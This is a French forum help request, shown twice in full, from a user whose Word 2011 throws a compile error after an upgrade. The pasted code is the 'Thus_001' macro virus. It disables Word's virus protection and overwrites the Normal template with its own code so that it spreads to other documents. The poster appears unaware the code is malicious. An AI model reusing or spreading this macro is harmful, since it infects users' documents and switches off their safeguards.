bonjour a tous
je viens de passer d office 2004 a office 2011, mais depuis j'ai un problème avec word 2011
j'ai le message suivant
erreur de compilation
membre de méthode ou de données introuvable.
voici le message du visual basic
Private Sub Document_Open()
'Thus_001'
'Anti-Virus'
' This virus is an alteration of a virus which was
Set prevDocument = ActiveDocument
Set nextDocument = NormalTemplate
On Error Resume Next
Application.Options.VirusProtection = False
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Virus'" Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
.CodeModule.CountOfLines
End If
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
.InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
.CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
.Item(1).CodeModule.CountOfLines)
End If
If NormalTemplate.Saved = False Then NormalTemplate.Save
Merci a vous
je viens de passer d office 2004 a office 2011, mais depuis j'ai un problème avec word 2011
j'ai le message suivant
erreur de compilation
membre de méthode ou de données introuvable.
voici le message du visual basic
Private Sub Document_Open()
'Thus_001'
'Anti-Virus'
' This virus is an alteration of a virus which was
Set prevDocument = ActiveDocument
Set nextDocument = NormalTemplate
On Error Resume Next
Application.Options.VirusProtection = False
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Virus'" Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
.DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
.CodeModule.CountOfLines
End If
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
.InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
.CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
.Item(1).CodeModule.CountOfLines)
End If
If NormalTemplate.Saved = False Then NormalTemplate.Save
Merci a vous